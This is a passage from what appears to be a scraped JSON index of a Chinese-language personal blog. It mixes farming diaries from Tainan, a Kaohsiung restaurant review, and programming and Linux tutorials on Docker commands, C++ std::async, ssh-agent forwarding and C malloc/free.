pbkdf2.pbkdf2Sync(\u0026#39;password\u0026#39;, \u0026#39;salt\u0026#39;, 1, 256 / 8, \u0026#39;sha512\u0026#39;); 本文的 block cipher mode 圖片都是從維基百科上面的圖來修改的，需要的人可以下載 SVG 原始檔回去使用。\n參考資料 寫程式是良心事業 CodeData ","permalink":"https://blog.gtwang.org/programming/javascript-aes-symmetric-encryption-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 AES-JS 這個 JavaScript 的 AES 對稱式加密工具，讓有機密性的重要資料加上密碼保護。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86\"\u003eAES 進階加密標準（Advanced Encryption Standard）\u003c/a\u003e是一種對稱式的加密演算法，此標準替代了原先的 DES 加密演算法，目前被各界廣泛使用。\u003c/p\u003e","title":"AES-JS：JavaScript 的 AES 對稱式資料加密工具"},{"content":"本篇記錄我們使用抽水機抽取地下水來灌溉農田的過程。\n最近是台南西港這邊芝麻種植的時節，最近已經有農夫開始進行芝麻的播種了，播種之後大約四、五天就會發芽，有些芝麻田中已經可以看到剛發芽的芝麻小種苗了 。\n由於這陣子台南沒下什麼雨，田裡的土壤比較乾燥，芝麻如果在播種時，土壤太乾燥會造成發芽比較緩慢，這種狀況就要先抽一些地下水來灌溉，讓土壤比較濕之後再進行芝麻的播種。\n開著農用的小貨車，把幾根引水灌溉用的水管載過來。\n而我們也一起開車過來跟拍。\n農田在開始引水灌溉之前，要先用耕耘機把土翻成這樣一攏一攏的，這樣才能引導水流。\n幫抽水機加油，並接好水管。\n這個就是田裏面打的水井。\n在這邊的農田裡，時常可以看到這樣的井口，接上抽水機之後，就可以抽取地下水。\n接著發動抽水機，把地下水抽上來。\n接下來就是讓水順著溝渠灌溉整片農田。\n放水下去的同時，再到對面底端的地方挖一下溝渠，等水流到底端時，讓它從另外一側的溝渠往回流。\n在出水口的地方，為了避免土讓被沖刷掉，最好墊一塊帆布之類的東西，避免被水沖出一個大洞。\n一邊放水、一邊挖讓水流的溝渠，反正就是讓水順著設計好的方式流完整片田。\n有時候其他附近的農民經過，大家就會開始聊天。\n水放下去之後，沒淹到水的土壤也會漸漸濕潤。\n如果渠道挖得不好，水就會跑出去，這也是需要技術的。\n有經驗的農夫很輕鬆就可以把渠道挖得很好，但若是不太熟稔的人，一不小心就會讓水跑出去，雖然地下水不用錢，但是由於這裡的田都是好幾塊連在一起的，旁邊可能都在種植其他的作物（像這塊田旁邊高高的就是飼料玉米），如果淹到別人的作物，就可能造成農產的損失。\n整個灌溉的過程需要好幾個小時，甚至到半天（看農田的大小而定），所以大家都是把抽水機與水管架好之後，就放著先回家休息，等時間到再過來關水，也就是說如果渠道沒有挖好，一淹下去通常都是很大片的，我們旁邊的阿伯就是沒弄好，淹到別人的田，被別人罵的很慘。 🙁\n這是水流到對面之後，又從另外一條渠道往回流的樣子。\n整個灌溉過程真的很漫長，我們大約是下午四點半左右開始放水的，過了一小時左右，水才剛走到第五條渠道，看來還要等很久，我們就先回家吃飯了。\n隔天下午我們又來一趟，看看整個農田灌溉完之後的樣子。\n因為昨天晚上回家之後，忘記回來關水，所以水淹過頭，跑到旁邊的蘿蔔田，不過還好這片蘿蔔田已經採收完了，所以沒什麼影響。\n放完水之後，抽水機就這樣蓋起來，放在田裡。\n","permalink":"https://blog.gtwang.org/agriculture/extract-groundwater-and-irrigate-farmland-sigang-tainan-20170311/","summary":"\u003cp\u003e本篇記錄我們使用抽水機抽取地下水來灌溉農田的過程。\u003c/p\u003e\n\u003cp\u003e最近是台南西港這邊芝麻種植的時節，最近已經有農夫開始進行芝麻的播種了，播種之後大約四、五天就會發芽，有些芝麻田中已經可以看到\u003ca href=\"/agriculture/sesame-field-and-seedlings-one-week-sigang-tainan-20170311/\"\u003e剛發芽的芝麻小種苗\u003c/a\u003e了 。\u003c/p\u003e","title":"[台南西港] 挖溝渠、抽取地下水灌溉農田"},{"content":"這裡紀錄芝麻播種一週剛發芽的小苗，還有田中間用來趕鳥的旗子。\n最近剛好是台南西港這邊開始種植芝麻的時節，我們家的田正準備要播種，而旁邊的田已經播種一週左右，冒出芝麻的小苗了。\n這是一片剛播種不久的芝麻田。\n這一塊大約是兩分的農地。\n這就是芝麻剛發芽的樣子。\n由於剛發芽的芝麻小苗會怕被鳥兒吃掉，所以在剛發芽這段時間，農夫要在田中間插上一些旗子，嚇跑小鳥。\n選舉的旗子這時候就很好用了。\n一開始我們也不清楚插這個旗子的作用，而種芝麻的阿伯跟我們說的時候，還特別使個眼色，就是要趕「那個」啦，「那個」不能講、不能講，講了怕會破功，所以如果大家有到現場的時候，知道就好，不可以講出來喔。 🙂\n","permalink":"https://blog.gtwang.org/agriculture/sesame-field-and-seedlings-one-week-sigang-tainan-20170311/","summary":"\u003cp\u003e這裡紀錄芝麻播種一週剛發芽的小苗，還有田中間用來趕鳥的旗子。\u003c/p\u003e\n\u003cp\u003e最近剛好是台南西港這邊開始種植芝麻的時節，我們家的田正準備要播種，而旁邊的田已經播種一週左右，冒出芝麻的小苗了。\u003c/p\u003e","title":"[台南西港] 黑芝麻播種一週剛發芽的小苗"},{"content":"這裡整理了一些常用的 Docker 指令操作方式，包含容器的啟動、停止、監看、檔案複製與目錄掛載等。\n啟動 Docker 容器 docker run 可以用來啟動 Docker 虛擬容器環境：\n# 啟動 Docker 容器 docker run -it tensorflow/tensorflow bash 加上 -it 參數代表在執行 Docker 虛擬容器環境時，開啟虛擬終端機，以互動的模式執行。這個例子是執行一個 TensorFlow 的 Docker 容器，並且在 Docker 中執行 bash。\n列出所有 Docker 容器 docker ps 可以列出所有 Docker 容器的資訊：\n# 列出所有 Docker 容器 docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES d9b6f31bd21d tensorflow/tensorflow \"bash\" About a minute ago Up About a minute 6006/tcp, 8888/tcp elated_panini 從輸出中可以看到這個新的 Docker 容器 ID 為 d9b6f31bd21d。\n停止 Docker 容器 若要停止 Docker 容器，可以使用 stop 指令：\n# 停止 Docker 容器 docker stop DOCKER_ID 其中 DOCKER_ID 就是 Docker 容器的 ID。\n如果 Docker 容器當掉，可以考慮改用 kill：\n# 強制停止 Docker 容器 docker kill DOCKER_ID 重新啟動 Docker 容器 若要重新啟動 Docker 容器，則可使用 restart：\n# 重新啟動 Docker 容器 docker restart DOCKER_ID 暫停 Docker 容器 若要暫停 Docker 容器，可用：\n# 暫停 Docker 容器 docker pause DOCKER_ID 若要讓暫停的 Docker 容器恢復執行，則使用：\n# 恢復 Docker 容器 docker unpause DOCKER_ID 複製檔案 接著在實體機器（host）中使用 docker cp 指令，將檔案複製到該容器內：\n# 複製檔案 docker cp /path/to/file1 DOCKER_ID:/path/to/file2 這樣就會把實體機器的 /path/to/file1 複製到 Docker 容器中的 /path/to/file2。\nDocker 容器內的預設路徑是根目錄（/），所以上面的指令也可以寫成：\n# 複製檔案 docker cp /path/to/file1 DOCKER_ID:path/to/file2 docker cp 的運作方式類似 Linux 系統的 cp -a 指令，也就是說它可以直接複製整個目錄以及其子目錄：\n# 複製檔案 docker cp /path/to/folder DOCKER_ID:/another/path/ 這樣就會把實體機器的 /path/to/folder 目錄整個複製到 Docker 容器中的 /another/path/。\n若要把 Docker 容器內的檔案複製出來，也是使用類似的做法：\n# 複製檔案 docker cp DOCKER_ID:/path/to/file1 /path/to/file2 這樣就可以把 Docker 容器內的 /path/to/file1 複製到實體機器的 /path/to/file2。目錄的複製方法也相同：\n# 複製目錄 docker cp DOCKER_ID:/path/to/folder /path/to/ 掛載目錄 如果想要將實體機器的目錄直接掛載至 Docker 容器內，可以使用 -v 參數：\n# 掛載目錄 docker run -it -v /home/seal/data:/data tensorflow/tensorflow bash 這樣就會將實體機器的 /home/seal/data 掛載至 Docker 容器內的 /data，讓實體機器與 Docker 容器可以共享同一個目錄，在 Docker 容器中將資料放進這個目錄時，於實體機器中可以同時看見，反之亦然。\n限制 CPU 使用量 Docker 預設並不會限制容器的 CPU 使用量，也就是說實體機器有多少 CPU 核心，Docker 容器就可以使用多少。若要限制 Docker 容器的 CPU 使用量，可以使用 --cpus 來指定可用的 CPU 數量：\n# 限制 CPU 使用量 docker run -it --cpus=1.5 agileek/cpuset-test 這樣就會限制 Docker 容器最多只能使用到 1.5 顆實體的 CPU。\n限制記憶體使用量 記憶體的狀況與 CPU 類似，預設都沒有任何限制，若要限制記憶體與 swap 交換空間的用量，可以使用 --memory 與 --memory-swap 參數：\n# 限制記憶體使用量 docker run -it --memory=300m --memory-swap=1g tensorflow/tensorflow bash 這樣就會允許 Docker 容器使用 300m 的記憶體，以及 1g - 300m = 700m 的 swap 交換空間。\n網路連接埠 如果要讓 Docker 容器內部的服務可以接收來自於外部的網路連線，可以使用 -p 參數將 Docker 容器內部的連接埠對應到實體機器的連接埠：\n# 設定網路連接埠對應 docker run -it -p 80:8888 tensorflow/tensorflow 這樣就會將 Docker 容器的 8888 連接埠，對應到實體機器的 80 連接埠。\n這是將 Docker 容器的 8080 連接埠與實體機器 127.0.0.1 的 80 連接埠的例子：\n# 設定網路連接埠對應 docker run -p 127.0.0.1:80:8080 ubuntu bash 查看 Docker 容器的 CPU、記憶體與網路用量 若要查看 Docker 容器的 CPU、記憶體與網路用量，可以使用 stats：\n# 查看 CPU、記憶體與網路用量 docker stats 查看 Docker 容器內部的行程 若要查看 Docker 容器內部的行程，可以使用 top：\n# 查看 Docker 容器內部的行程 docker top DOCKER_ID 參考資料 StackOverflow Docker docs ","permalink":"https://blog.gtwang.org/linux/docker-commands-and-container-management-tutorial/","summary":"\u003cp\u003e這裡整理了一些常用的 Docker 指令操作方式，包含容器的啟動、停止、監看、檔案複製與目錄掛載等。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"啟動-docker-容器\"\u003e啟動 Docker 容器\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003edocker run\u003c/code\u003e 可以用來啟動 Docker 虛擬容器環境：\u003c/p\u003e","title":"Docker 常用指令與容器操作教學"},{"content":"本篇紀錄我們家的地瓜田今年採收後，淘汰下來的瑕疵品。\n我們家今年的地瓜田採收之後，淘汰下來的瑕疵地瓜大概佔總量的四分之一到三分之一左右，凡是被老鼠咬過的、被蟲子吃過的、外觀不好看的以及太小條的地瓜，都會被淘汰下來，留著自己吃或是送親友，以下是今年採收的一些瑕疵地瓜紀錄。\n今年種植地瓜的這塊田大小是 0.7 分，這是完全採收後的樣子。\n今年大約賣出 1200 斤以上的地瓜，淘汰的部份就沒有詳細計算，約略評估大約站總產量的四分之一到三分之一左右。\n這些地瓜上面感覺被啃過的痕跡，都是被老鼠咬的。\n這些都是被老鼠咬過的地瓜。\n像這種小洞就是被土裡的蟲吃過的，為數也不少。\n另外一種是有裂痕的地瓜，這個它長出來就是這樣了。\n這些都是被老鼠咬過、被蟲吃過，還有裂痕的地瓜，只能淘汰下來自己吃，這裡只是隨便拿一些出來拍照，還有一大堆淘汰的地瓜堆在倉庫，也有很多都已經送人了。\n有些地瓜太小條，沒辦法賣，也只能淘汰。\n另外還有像這樣表面有奇怪紋路的地瓜，這種也是要淘汰的。\n這是倉庫裡堆放的一小部份淘汰地瓜，其他還有好多，我就沒有全部都拍了。\n","permalink":"https://blog.gtwang.org/agriculture/bad-sweet-potatos-sigang-tainan-20170311/","summary":"\u003cp\u003e本篇紀錄\u003ca href=\"/agriculture/sweet-potato-field-sigang-tainan-20170205/\"\u003e我們家的地瓜田\u003c/a\u003e今年採收後，淘汰下來的瑕疵品。\u003c/p\u003e\n\u003cp\u003e我們家今年的地瓜田採收之後，淘汰下來的瑕疵地瓜大概佔總量的四分之一到三分之一左右，凡是被老鼠咬過的、被蟲子吃過的、外觀不好看的以及太小條的地瓜，都會被淘汰下來，留著自己吃或是送親友，以下是今年採收的一些瑕疵地瓜紀錄。\u003c/p\u003e","title":"[台南西港] 無毒地瓜，採收後淘汰的瑕疵品"},{"content":"這裡介紹 C++ 語言的 std::async 非同步函數的使用方式，並提供一些入門的範例程式碼。\n由於摩爾定律已經達到極限，現今的 CPU 都已經演變為多核心（multi-core）的架構，單一執行緒（single thread）的程式放在新的電腦中不見得可以跑得更快，若要發揮 CPU 完整的計算能力，就必須充分使用 CPU 的每一個核心。\nC++11 的標準允許程式設計者透過標準的 C++ 語法，開發多執行緒且可移植的程式，讓 C++ 程式的開發更方便，其中 std::async 就是一個很實用的功能。\nstd::async 基本用法 std::async 可以看成是 std::threads 的一個高階介面，它可以用來將比較耗時的工作分給多個執行緒平行計算，算完之後再取回結果，提高整個程式的執行效能，而其語法與 std::threads 相較之下又更單純許多，絕大部分需要平行化的 C++ 應用程式通常都會比較適合採用 std::async。\nstd::async 可以使用非同步的方式呼叫普通的 C++ 函數，其第一個參數是指定要呼叫的函數，所有要傳入的參數就放在第二個參數之後，而在 std::async 執行之後，會傳回一個 std::future 的物件，最後我們再透過這個物件取回計算結果。\n假設我們要用另外一個執行緒執行的函數為 work，其函數宣告如下：\nbool work (int x); 使用 std::async 呼叫 work(123) 函數的方法為：\nstd::future\u0026lt;bool\u0026gt; fut = std::async (wrok, 123); 呼叫 std::async 之後會立即傳回一個 std::future 的物件 ret，隨後即可透過這個物件取得計算結果：\nbool r = fut.get(); 這就是 std::async 最簡單的用法。\n實際範例 以下是一個簡單的 std::async 範例程式 async.cpp：\n#include \u0026lt;future\u0026gt; #include \u0026lt;iostream\u0026gt; // 耗時的工作 bool is_prime (int x) { std::cout \u0026lt;\u0026lt; \u0026#34;Calculating. Please, wait...n\u0026#34;; bool r = true; for (int i = 2; i \u0026lt; x; ++i) { if (x % i == 0) { r = false; break; } } std::cout \u0026lt;\u0026lt; \u0026#34;We\u0026#39;re done.\u0026#34; \u0026lt;\u0026lt; std::endl; return r; } // sleep 函數 void sleep(int milisec) { std::this_thread::sleep_for(std::chrono::milliseconds(milisec)); } int main () { // 使用另外一個執行緒執行 is_prime(334214467) std::future\u0026lt;bool\u0026gt; fut = std::async (is_prime, 334214467); // 執行其他工作 ... sleep(200); std::cout \u0026lt;\u0026lt; \u0026#34;Do something in main thread ...n\u0026#34;; sleep(200); std::cout \u0026lt;\u0026lt; \u0026#34;Do something in main thread ...n\u0026#34;; sleep(200); std::cout \u0026lt;\u0026lt; \u0026#34;Do something in main thread ...n\u0026#34;; // 等待並取回計算結果 bool r = fut.get(); if (r) { std::cout \u0026lt;\u0026lt; \u0026#34;It is prime!n\u0026#34;; } else { std::cout \u0026lt;\u0026lt; \u0026#34;It is not prime.n\u0026#34;; } return 0; } 在這段程式中，我們定義了一個 is_prime 這個檢查一個整數是否為質數的函數，而這個函數執行起來會需要比較久的時間，因此我們利用 std::async 這個非同步的方式呼叫 is_prime，並傳入 334214467 這個參數給 is_prime，讓它在另外一個執行緒中進行計算，而我們在主執行緒中就可以處理其他的工作，等到真正需要 is_prime 的計算結果時，再以 std::future 所提供的介面將計算的結果取回。\nstd::async 相關的函數定義在 \u0026lt;future\u0026gt; 這個標頭檔中，使用時記得要引入。\n以 g++ 編譯 std::async 的程式時，要加上 -lpthread 參數，比對於比較舊版的 g++ 還要再加上 -std=c++11：\ng++ -o async -std=c++11 -lpthread async.cpp 編譯完成後，執行之：\n./async Calculating. Please, wait... Do something in main thread ... Do something in main thread ... Do something in main thread ... We're done. It is prime! 從這個輸出訊息的順序就可以看得出來，當 is_prime 函數在計算的同時，主執行緒也可以處理其他的工作，這樣就達到平行化的效果。\n這裡的 334214467 是我任意挑選的一個質數，如果想測試更大或更小的質數，可從 The Prime Pages 網頁中的質數列表挑選。\nstd::launch 執行模式 上面的範例程式若是在不同的環境下編譯，可能會產生不同的結果，也就是說拿完全一樣的程式碼，只是換一個編譯器來編譯程式，程式執行起來可能就會完全不同。\n上面的範例我是在 Mac OS X 中使用 Apple LLVM 7.0.0 編出來的，若改在 CentOS Linux 7.2 中用 gcc 4.8.5 編譯，執行結果就不一樣了：\nDo something in main thread ... Do something in main thread ... Do something in main thread ... Calculating. Please, wait... We're done. It is prime! 從這個輸出看起來，is_prime 函數實際被呼叫的時機點不太對，變成發生在呼叫 fut.get() 取回計算結果的那一行，也就是說程式是以同步（synchronous）的方式來執行的，沒有另外開一個平行的執行緒進行計算，這樣就跟普通的單一執行緒程式沒有差別了。\n這個問題是因為 std::async 有兩種執行模式：\nstd::launch::async 非同步執行 這種方式就是另外開啟一個執行緒，以平行的方式執行，這個應該是大部分人所期望的模式。 std::launch::deferred 延後執行 這種方式就是很單純的將函數呼叫的時機延後，當 std::future 物件呼叫 get() 時，才去真正執行其中的程式，而執行的方式就是一般的函數呼叫，沒有任何平行化效果。 而預設值是 std::launch::async | std::launch::deferred，也就是說編譯器可以自行決定要讓 std::async 所呼叫的函數用什麼方式執行。\nstd::launch::deferred 延後執行 若程式設計者要自行指定執行的方式，可以在第一個參數中設定（其他的參數則往後推），例如明確設定讓函數呼叫延後執行：\n// 延後執行 std::future\u0026lt;bool\u0026gt; fut = std::async (std::launch::deferred, is_prime, 334214467); 這種執行方式是屬於單一執行緒的情況。\n延後執行就沒有平行的效果：\ntime ./async Do something in main thread ... Do something in main thread ... Do something in main thread ... Calculating. Please, wait... We're done. It is prime! real\t0m1.444s user\t0m0.845s sys\t0m0.000s std::launch::async 非同步執行 改為非同步執行（多執行緒平行化執行）：\n// 非同步執行 std::future\u0026lt;bool\u0026gt; fut = std::async (std::launch::async, is_prime, 334214467); 這種方式就會產生另外一個執行緒。\n這樣執行時間就會明顯縮短：\ntime ./async Calculating. Please, wait... Do something in main thread ... Do something in main thread ... Do something in main thread ... We're done. It is prime! real\t0m0.840s user\t0m0.840s sys\t0m0.001s 以上兩張示意圖我是用 LibreOffice 畫的，需要畫類似這樣圖的人，可以下載其原始檔回去修改。\n參考資料 Modernes C++ Modernes C++ BogoToBogo Solarian Programmer cppreference.com oopscene\u0026rsquo;s blog Jaka\u0026rsquo;s Corner ","permalink":"https://blog.gtwang.org/programming/cpp-11-async-function-parallel-computing-tutorial/","summary":"\u003cp\u003e這裡介紹 C++ 語言的 \u003ccode\u003estd::async\u003c/code\u003e 非同步函數的使用方式，並提供一些入門的範例程式碼。\u003c/p\u003e\n\u003cp\u003e由於\u003ca href=\"https://zh.wikipedia.org/wiki/%E6%91%A9%E5%B0%94%E5%AE%9A%E5%BE%8B\"\u003e摩爾定律\u003c/a\u003e已經達到極限，現今的 CPU 都已經演變為多核心（multi-core）的架構，單一執行緒（single thread）的程式放在新的電腦中不見得可以跑得更快，若要發揮 CPU 完整的計算能力，就必須充分使用 CPU 的每一個核心。\u003c/p\u003e","title":"C++ 使用 Async 非同步函數開發平行化計算程式教學"},{"content":"蓁心素食坊是高雄楠梓的一家素食店，食材新鮮、料理美味、養生。\n這禮拜剛好要去高雄楠梓出差，開會的時間剛好是下午一點半，所以要在附近找一家素食餐館用餐，上 Google 查了一下，感覺這家環境還不錯，就來吃吃看。\n蓁心素食坊就在大馬路旁邊，附近的停車場與停車格很多，停車很方便。\n若不想花錢繳停車費，對面的巷子裡有個公園，公園周圍找停車位也很容易。\n這是蓁心素食坊的大門口。\n這是蓁心素食坊內部的用餐環境。\n蓁心素食坊店內的用餐環境很乾淨，我在這裡用餐感覺很舒服。\n這是櫃檯。\n餐具與飲水可以自行取用。\n這是這裡的菜單，餐點種類真的好多。\n因為我今天只有一個人來，所以只能點一道餐點，今天選的是紅燒茄汁拉麵。\n這碗紅燒茄汁拉麵的湯頭是用新鮮蕃茄熬煮出來的，湯頭很濃，我個人感覺還不錯。\n這是蓁心素食坊的名片。\n名片上面營業時間應該是舊的，在 facebook 上面的訊息是說 2016 年 12 月開始，禮拜一正常營業，不確定的話建議打電話去問一下。\n名片打開之後，就是菜單。\n店名：蓁心素食坊\n地址：高雄市楠梓區德民路 919 號\n電話：(07) 366-1629\n營業時間：中午 11：00 ～ 14：00，下午 16：30 ～ 21：00\n網站：facebook 粉絲專頁\n這是附近的巷子裡的公有停車場，收費比較便宜。\n這是大馬路旁的私人停車場，停一次是 50 元。\n對面就是順發 3C 賣場，吃飽飯等開會的時間就來這裡逛一逛。\n","permalink":"https://blog.gtwang.org/life/zhenxin-vegetarian-restaurant-nantz-kaohsiung/","summary":"\u003cp\u003e蓁心素食坊是高雄楠梓的一家素食店，食材新鮮、料理美味、養生。\u003c/p\u003e\n\u003cp\u003e這禮拜剛好要去高雄楠梓出差，開會的時間剛好是下午一點半，所以要在附近找一家素食餐館用餐，上 Google 查了一下，感覺這家環境還不錯，就來吃吃看。\u003c/p\u003e","title":"[高雄楠梓素食] 蓁心素食坊：炒飯、炒麵、拉麵、焗烤、燉飯、拌飯"},{"content":"這裡介紹如何使用 ssh-agent 管理 SSH 登入認證用的金鑰，免除登入遠端伺服器要重複輸入密碼的麻煩。\n資深的 Linux 伺服器的管理者最常使用的管理介面應該就是 SSH 安全加密的連線，而比較注重系統安全防護的人，甚至還會將 SSH 的密碼認證關掉，只留下 SSH 金鑰認證來登入，若沒有金鑰，連管理者自己也進不了系統，讓系統更安全。\n伺服器登入用的金鑰通常也都會加上密碼保護，但是加上密碼的金鑰每次要使用時都要輸入一次解鎖密碼，以下介紹如何靠著 ssh-agent 這個小工具來管理金鑰，讓使用者只需要打一次密碼，就可以持續使用金鑰，甚至在遠端的伺服器上也可以使用。\n啟動 ssh-agent 在大部分桌面環境的 Linux 系統中，預設都會自動啟動 ssh-agent，我們可以檢查 SSH_AUTH_SOCK 或 SSH_AGENT_PID 這兩個環境變數是否有設定好，藉此判斷 ssh-agent 是否有啟動。\necho $SSH_AGENT_PID 1673 echo $SSH_AUTH_SOCK /tmp/ssh-OIphRJeGIGMT/agent.1672 原則上只要這兩個環境變數有被設定好、不是空的，就表是 ssh-agent 已經啟動了，而如果這兩個變數都是空的，就要先進行 ssh-agent 的啟用設定或是手動啟動。\n若在 Mac OS X 系統上，ssh-agent 啟動時可能只有 SSH_AUTH_SOCK 有被設定，不過不影響使用。\n設定 X Window 自動啟動 ssh-agent X Window 的 /etc/X11/Xsession.options 設定檔可以控制 Xsession 的一些啟動選項，其中有一項 use-ssh-agent 功能就是用來啟動 ssh-agent 用的，加入這個設定即可讓 X Window 在啟動時自動執行 ssh-agent，讓所有 X Window 下的的應用程式都可以直接使用 ssh-agent，這種作法是最常見、也是最方便的。\n以下是樹莓派的 /etc/X11/Xsession.options 預設值，大部分的 Linux 發行版應該預設就會含有 use-ssh-agent 的設定，所以不需要特別做更改：\n# $Id: Xsession.options 189 2005-06-11 00:04:27Z branden $ # # configuration options for /etc/X11/Xsession # See Xsession.options(5) for an explanation of the available options. allow-failsafe allow-user-resources allow-user-xsession use-ssh-agent use-session-dbus 關於這個設定檔的各個選項說明，可以參考 Xsession.options(5) 的 man page。\nman 5 Xsession.options 手動啟動 ssh-agent 若要手動啟動 ssh-agent，可以執行：\nssh-agent 在啟動 ssh-agent 之後，會輸出幾行設定環境變數的指令稿：\nSSH_AUTH_SOCK=/tmp/ssh-OIphRJeGIGMT/agent.1672; export SSH_AUTH_SOCK; SSH_AGENT_PID=1673; export SSH_AGENT_PID; echo Agent pid 1673; ssh 在登入主機時，就是靠著這些環境變數來跟 ssh-agent 取得認證金鑰的，將這幾行指令稿複製起來，貼在終端機中執行，即可將 ssh-agent 的環境設定好。\n然而執行 ssh-agent，再用複製貼上的方式設定環境，手續比較繁雜，這兩個步驟可以用以下一行代替：\neval $(ssh-agent) 這是利用 bash 指令稿的語法，把 ssh-agent 的輸出取出來，交給 eval 直接執行，這樣既簡潔又快速。\n加入 SSH 認證用金鑰 確認 ssh-agent 已經正常啟動之後，就可以執行 ssh-add 加入 SSH 登入認證用的金鑰：\nssh-add 如果 ssh-agent 沒有預先啟動的話，就會出現這樣的錯誤訊息：\nCould not open a connection to your authentication agent. 若遇到這樣的狀況，請先依照上面的步驟設定或手動啟動 ssh-agent，接著再重新執行一次 ssh-add。\n如果自己的金鑰有設定保護密碼，則執行 ssh-add 時就要輸入一次密碼：\nEnter passphrase for /home/pi/.ssh/id_rsa: Identity added: /home/pi/.ssh/id_rsa (/home/pi/.ssh/id_rsa) 這樣之後使用 SSH 以該金鑰登入主機時，就可不需要再輸入任何密碼了。\nssh seal@192.1168.0.1 SSH Agent Forwarding 如果我們需要以 SSH 連續登入好多台主機，從使用者端的電腦登入伺服器 A 時，可以直接使用使用者端的金鑰認證登入，但是若從伺服器 A 往後連線至伺服器 B 時，通常因為在伺服器 A 上沒有金鑰可以使用，所以就要以密碼的方式登入主機了。\n另外若是後端的伺服器 B 只有開啟金鑰認證登入的話，從伺服器 A 上就會無法登入伺服器 B，只能回到使用者端再開一個連線至伺服器 B，如果又遇到防火牆問題，就更複雜了。\nssh-agent 有一個 forwarding 功能，它可以在不透過網路傳送金鑰的情況下，讓遠端的伺服器使用本地端的金鑰進行認證，金鑰本身只需要儲存一份在使用者端的電腦中，這樣既方便又安全，尤其是在有防火牆的環境下特別實用。\n使用 SSH forwarding 的方式很簡單，只要使用 ssh-add 加入金鑰之後，在執行 ssh 時加入一個 -A 參數即可：\nssh -A seal@192.1168.0.1 這樣在連線至 192.1168.0.1 之後，再繼續往後端的伺服器連線時，就會自動透過 SSH 加密的通道，使用本機的金鑰進行遠端登入的認證。\n若不想每次加入 -A 參數，也可以直接修改預設的 ~/.ssh/config 設定，加入 ForwardAgent yes：\nHost serverA HostName 192.168.0.1 ForwardAgent yes 這樣也可以達到相同的效果。\n參考資料 StackExchange AWS Security Blog GitHub Docs Unixwiz.net ","permalink":"https://blog.gtwang.org/linux/using-ssh-agent-forwarding-to-avoid-being-asked-passphrase/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ccode\u003essh-agent\u003c/code\u003e 管理 SSH 登入認證用的金鑰，免除登入遠端伺服器要重複輸入密碼的麻煩。\u003c/p\u003e\n\u003cp\u003e資深的 Linux 伺服器的管理者最常使用的管理介面應該就是 SSH 安全加密的連線，而比較注重系統安全防護的人，甚至還會將 SSH 的密碼認證關掉，只留下 \u003ca href=\"/linux/linux-ssh-public-key-authentication/\"\u003eSSH 金鑰認證\u003c/a\u003e來登入，若沒有金鑰，連管理者自己也進不了系統，讓系統更安全。\u003c/p\u003e","title":"SSH 免除重複輸入金鑰密碼教學：SSH Agent 與 Forwarding"},{"content":"本文將介紹與 C 語言動態記憶體配置有關的各種函數及其使用方式，包含 malloc、calloc、free 與 realloc 函數。\nC 語言的動態記憶體配置可以讓程式在需要使用到大量的記憶體時，動態的取得更多的記憶體空間，在使用完之後也可以將不再需要使用的記憶體釋出，也就是說它可以讓程式設計者自行管理記憶體的使用。\nC 語言動態記憶體配置的相關函數位於 stdlib.h 這個 C 語言的標準函式庫中，以下是主要的幾個函數：\nvoid *malloc(size_t size); void *calloc(size_t nmemb, size_t size); void free(void *ptr); void *realloc(void *ptr, size_t size); 這幾個函數的功用如下：\nmalloc 函數：malloc 代表 memory allocation，用來配置指定大小的記憶體空間，傳回新空間第一個位元組的記憶體位址，配置的空間處於尚未初始化的狀態。 calloc 函數：calloc 代表 contiguous allocation，用來配置陣列用的記憶體空間，傳回新空間第一個位元組的記憶體位址，配置的空間會被初始化為 0。 free 函數：釋放之前使用 malloc 或 calloc 函數所配置的記憶體空間。 realloc 函數：改變已配置記憶體空間的大小。 這些函數的詳細說明，可以參考 malloc(3) 的 man page：\nman 3 malloc 以下是一些 C 語言配置與管理記憶體的範例程式碼。\n典型記憶體配置 C 語言中最常被使用的記憶體管理方式就是使用 malloc 配置記憶體，並配合 free 來釋放記憶體。\n一維陣列 這是使用 malloc 與 free 配置一維動態陣列的例子。\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { // 用來管理動態記憶體的指標 int *dynArr; // 指定空間大小 int arrLen = 10; // 取得記憶體空間 dynArr = malloc( arrLen * sizeof(int) ); if( dynArr == NULL ) { // 無法取得記憶體空間 fprintf(stderr, \u0026#34;Error: unable to allocate required memory\\n\u0026#34;); return 1; } // 使用動態取得的記憶體空間 int i; for (i = 0; i \u0026lt; arrLen; ++i) { dynArr[i] = i; printf(\u0026#34;%d \u0026#34;, dynArr[i]); } // 釋放記憶體空間 free(dynArr); return 0; } 在 C 語言中動態配置的記憶體都必須配合指標來管理，這個範例中我們需要動態建立一個整數（int）的陣列，所以一開始先宣告一個整數的指標 dynArr，接著使用 malloc 配置指定大小的記憶體空間給這個陣列使用。\nmalloc 在配置新的記憶體空間之後，會傳回指向該空間第一個位元組（byte）的指標，而在無法取得新的記憶體空間時（例如系統的記憶體不夠的時候），就會傳回 NULL，所以在使用動態配置的記憶體空間之前，要先檢查是否有配置成功。\n當記憶體空間使用完之後，再呼叫 free 來將該記憶體空間釋放掉，這個動作不可以忘記，否則就會造成記憶體洩漏（memory leak）的問題。\n一般來說在程式中只要呼叫一次 malloc，後續就要對應一次的 free 呼叫，確保每一次配置的記憶體在使用完之後，都有被妥善釋放。\n二維陣列 這是拿一塊動態配置的記憶體空間，建立二維陣列的一種作法：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { int *dynArr; // 指定空間大小 int arrLen1 = 10; int arrLen2 = 5; // 取得記憶體空間 dynArr = malloc( arrLen1 * arrLen2 * sizeof(int) ); if( dynArr == NULL ) { fprintf(stderr, \u0026#34;Error: unable to allocate required 